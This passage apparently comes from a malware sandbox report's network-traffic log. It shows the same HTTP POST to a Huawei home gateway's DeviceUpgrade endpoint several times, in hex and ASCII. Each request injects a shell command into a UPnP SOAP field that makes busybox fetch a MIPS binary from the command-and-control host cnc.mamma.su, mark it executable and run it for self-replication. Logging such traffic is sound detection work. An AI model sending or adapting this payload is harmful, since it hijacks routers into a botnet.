cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 